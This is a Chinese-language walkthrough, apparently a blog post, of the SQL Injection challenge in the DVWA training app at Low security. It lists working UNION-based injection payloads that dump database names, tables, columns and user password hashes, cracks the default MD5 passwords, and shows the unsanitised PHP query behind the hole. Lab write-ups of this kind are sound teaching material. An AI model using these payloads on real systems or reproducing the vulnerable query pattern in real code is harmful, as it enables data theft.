DVWA——SQL Injection通关记录(Low)
Security Level:Low
1.判断注入点及注入类型
看到的是一个输入框,输入数字有对应返回值
所以这里应该是一个注入点,使用恒真恒假式来尝试一下
输入
1’ and ‘1’=’2
返回无结果,确定此处为注入点
再用恒真式来显示所有结果
输入
1’ or ‘1’=’1
(’1’=’1’恒真,中间使用or连接则整个查询式子恒真,即可返回所有查询结果)
2.判断数据库中的字段数
根据数据库的知识可以知道数据库对结果的排序语句为order by XXX
XXX为字段名称,第几列之类的
此处查询语句
1’ or 1=1 order by 1#
(后面的1=1不需要单引号是因为我们增加了注释符号#,于是后面的语句都被注释掉了,则原函数尾部的单引号就不需要被闭合了)
查询结果如下
可以看出是根据First name的字母排序的,那此处有两个回显点,就是一下order by 2
查询语句
1’ or 1=1 order by 2#
查询结果如下:
可以看出是根据Surname的字母排序的
再看有无第三个字段,查询
1’ or 1=1 order by 3#
由此可知一共只有两个字段,即First name 和Surname
还可以使用联合查询的方式来猜解字段数
查询语句
‘union select 1,2#
回显了字段数以及他们回显的位置,字段1回显于First name,字段2回显于Surname
3.获取数据库名称
由上一步知道了两个回显点,那我们就让这两个回显点显示出我们想要获取的信息,比如用户名和数据库名,使用联合查询,查询语句如下
‘union select user(),database()#
数据库名称dvwa
4.获取数据库中表的名称
与获取数据库名称方式相似,都是使用联合查询
查询语句
‘union select 1,group_concat(table_name) from information_schema.tables where table_schema=’dvwa’#
或查询语句
‘union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
下面来解释一下这个语句
首先,因为搭建DVWA环境使用的是Apache和MySQL数据库,所以有关SQL注入都是默认MySQL数据库的注入
在MySQL数据库中有一个系统默认的数据库叫做 information_schema,该数据库中的表都是只读的,不能进行更新、删除和插入等操作,也不能加载触发器,因为它们实际只是一个视图,不是基本表,没有关联的文件。
在information_schema数据库中有三个很重要的表,分别是
- information_schema.schemata: 存储了mysql数据库中的所有数据库的库名
- information_schema.tables: 存储了mysql数据库中的所有数据表的表名
- information_schema.columns: 存储了mysql数据库中的所有列的列名
此处使用的是information_schema.tables,因为我们这一步就是在查询表名,然后结合上一步查询到的数据库名,table_schema表示的是数据库名称,条件语句where table_schema=’dvwa’
然后还使用了函数group_concat(table_name),意思是将查询到的table_name连在一起,默认用逗号分隔
更多参数解释详见文章查询语句参数详解
所以查询出了两个表,guestbook和users
5.获取表中字段名
查询语句
‘union select 1,group_concat(column_name) from information_schema.columns where table_name=’users’#
方法和查询表名相同
查询到了字段名user和password这两个很关键的字段
6.尝试获取user和password字段信息
查询语句
‘union select user,password from users#
获取信息成功
7.密码解密
很明显密码是加密存储的,根据格式,密码口令为32位,因此可能会md5哈希值,根据在线解密网站进行解密,得到口令明文如下
5f4dcc3b5aa765d61d8327deb882cf99——password
e99a18c428cb38d5f260853678922e03——abc123
8d3533d75ae2c3966d7e0d4fcc69216b——charley
0d107d09f5bbe40cade3de5c71e9e9b7——letmein
5f4dcc3b5aa765d61d8327deb882cf99——password
至此所有信息已知,攻击者可以登陆后台进行后续操作
8.源码分析
点击右下角View Source
SQL Injection Source
vulnerabilities/sqli/source/low.php
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
由语句$query = “SELECT first_name, last_name FROM users WHERE user_id = ‘$id’;”;可以明显看出网页对于输入的id没有进行任何过滤操作,此处攻击者可以构造SQL注入语句进行攻击。
还没有评论,来说两句吧...